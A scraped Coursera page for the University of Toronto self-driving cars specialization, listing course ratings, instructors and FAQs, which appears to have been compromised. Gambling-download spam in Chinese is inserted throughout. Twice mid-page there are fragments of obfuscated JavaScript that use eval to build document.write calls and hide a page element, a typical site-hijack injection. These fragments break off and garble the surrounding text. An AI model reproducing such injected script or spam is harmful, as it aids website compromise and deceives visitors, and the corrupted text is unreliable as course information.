大奖平台官网下载

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About this Specialization

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100% online courses

Start instantly and learn at your own schedule.
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Flexible Schedule

Set and maintain flexible deadlines.
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Advanced Level

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Approx. 5 months to complete

Suggested 6 hours/week
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English

Subtitles: English, Spanish

What you will learn

  • Check
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    Understand the detailed architecture and components of a self-driving car software stack
  • Check
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    Implement methods for static and dynamic object detection, localization and mapping, behaviour and maneuver planning, and vehicle control
  • Check
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    Use realistic vehicle physics, complete sensor suite: camera, LIDAR, GPS/INS, wheel odometry, depth map, semantic segmentation, object bounding boxes
  • Check
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    Demonstrate skills in CARLA and build programs with Python
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100% online courses

Start instantly and learn at your own schedule.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Flexible Schedule

Set and maintain flexible deadlines.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Advanced Level

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Approx. 5 months to complete

Suggested 6 hours/week
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English

Subtitles: English, Spanish

How the Specialization Works

Take Courses

A Coursera Specialization is a series of courses that helps you master a skill. To begin, enroll in the Specialization directly, or review its courses and choose the one you'd like to start with. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. It’s okay to complete just one course — you can pause your learning or end your subscription at any time. Visit your learner dashboard to track your course enrollments and your progress.

Hands-on Project

大奖平台官网下载Every Specialization includes a hands-on project. You'll need to successfully finish the project(s) to complete the Specialization and earn your certificate. If the Specialization includes a separate course for the hands-on project, you'll need to finish each of the other courses before you can start it.

Earn a Certificate

When you finish every course and complete the hands-on project, you'll earn a Certificate that you can share with prospective employers and your professional network.

how it works

There are 4 Courses in this Specialization

Course1

Course 1

Introduction to Self-Driving Cars

4.8
stars
610 ratings
117 reviews
Course2

Course 2

State Estimation and Localization for Self-Driving Cars

4.7
stars
232 ratings
39 reviews
Course3

Course 3

Visual Perception for Self-Driving Cars

4.6
stars
146 ratings
19 reviews
Course4

Course 4

Motion Planning for Self-Driving Cars

4.8
stars
102 ratings
16 reviews

Instructors

Steven Waslander 

Associate Professor
Aerospace Studies

Jonathan Kelly 

Assistant Professor
Aerospace Studies

About University of Toronto

Established in 1827, the University of Toronto is one of the world’s leading universities, renowned for its excellence in teaching, research, innovation and entrepreneurship, as well as its impact on economic prosperity and social well-being around the globe. ...

Frequently Asked Questions

  • 大奖平台官网下载Yes! To get started, click the course card that interests you and enroll. You can enroll and complete the course to earn a shareable certificate, or you can audit it to view the course materials for free. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. Visit your learner dashboard to track your progress.

  • 大奖平台官网下载This course is completely online, so there’s no need to show up to a classroom in person. You can access your lectures, readings and assignments anytime and anywhere via the web or your mobile device.

  • 大奖平台官网下载This Specialization doesn't carry university credit, but some universities may choose to accept Specialization Certificates for credit. Check with your institution to learn more.

  • Each course is intended to take 4-6 weeks, roughly one week per module. At this pace, the entire Specialization will take you 4-6 months to complete.

  • 大奖平台官网下载See the list of prerequisites provided in Module 0 of Course 1. The most important ones are familiarity with linear algebra, calculus, probability theory, and kinematic and dynamic modeling. Some exposure to computer vision, AI or robotics is also useful.

  • The courses are mostly independent and self-paced, so it is possible to mix the order of the courses based on your interests. The only exception is that Course 1 provides a valuable overview of an autonomous vehicle in terms of hardware and software, so we recommend starting with Course 1.

  • 大奖平台官网下载You will be able to develop basic implementations of all the main components of an autonomous car software stack, including localization and mapping solutions, object detection and drivable surface detection methods, motion planning approaches and vehicle controllers. You'll be ready to enter the industry with a strong overview of the core requirements and challenges in self-driving development, and you'll have experience with simulating these vehicles in the CARLA simulator.

More questions? Visit the .

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